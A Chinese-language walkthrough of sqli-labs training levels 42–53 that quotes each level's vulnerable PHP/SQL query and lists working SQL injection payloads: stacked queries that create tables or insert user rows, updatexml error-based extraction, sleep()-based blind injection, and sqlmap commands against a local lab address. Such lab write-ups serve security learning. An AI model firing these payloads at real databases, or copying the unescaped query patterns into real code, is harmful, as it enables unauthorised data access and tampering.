sqli-labs4

42 堆叠注入

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   
... ... 


 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

只对username做了处理，对password没有处理

login_user=admin&login_password=1%27%3Bcreate+table+test44 like users%23&mysubmit=Login

43 堆叠注入

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

... ...
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

和上一关差不多，使用')闭合

44 堆叠注入

和42一样

45 堆叠注入

和43一样

46 order by注入

$sql = "SELECT * FROM users ORDER BY $id";

使用?sort=1%20desc或者?sort=1%20asc 数据不同，可以使用报错注入

?sort=1 updatexml(1,concat(0x7e,(select database()),0x7e),1)

也可以使用时间盲注

?sort=1 and if(1=1,sleep(1),0)会响应一段时间

?sort=1 and if(1=1,0,sleep(1)) 会即可得到信息

47 order by注入

$sql = "SELECT * FROM users ORDER BY '$id'";

?sort=1' desc --+ ?sort=1' asc --+

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

48 order by注入

$sql = "SELECT * FROM users ORDER BY $id";

可以参考46

这关没回显，考虑使用时间盲注

SQlmap

python sqlmap.py -u 192.168.56.1/sqli-labs/Less-48/?sort=1 --technique T --batch --dbs

49 order by注入

$sql = "SELECT * FROM users ORDER BY '$id'";

?sort=1%27%20%20and%20sleep(1)--+时间盲注

SQLmap

python sqlmap.py -u 192.168.56.1/sqli-labs/Less-49/?sort=1 --technique T --batch --dbs

50 order by注入&堆叠注入

$sql="SELECT * FROM users ORDER BY $id";
	/* execute multi query */
	if (mysqli_multi_query($con1, $sql))
	... ...

order by注入和堆叠注入

数字型 可以使用时间盲注和报错注入

?sort=1%20and%20sleep(1)

?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

堆叠注入

?sort=1;insert into users(id,username,password) values('50','Mamor','Mamor')--+

51 order by注入&堆叠注入

$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql)) 

报错注入

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

堆叠注入

?sort=1';insert into users(id,username,password) values('51','Mamor','Mamor')--+

52 order by注入&堆叠注入

$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

堆叠注入

?sort=1;insert into users(id,username,password) values('52','Mamor','Mamor')--+

53 order by注入&堆叠注入

堆叠注入

?sort=1';insert into users(id,username,password) values('53','Mamor','Mamor')--+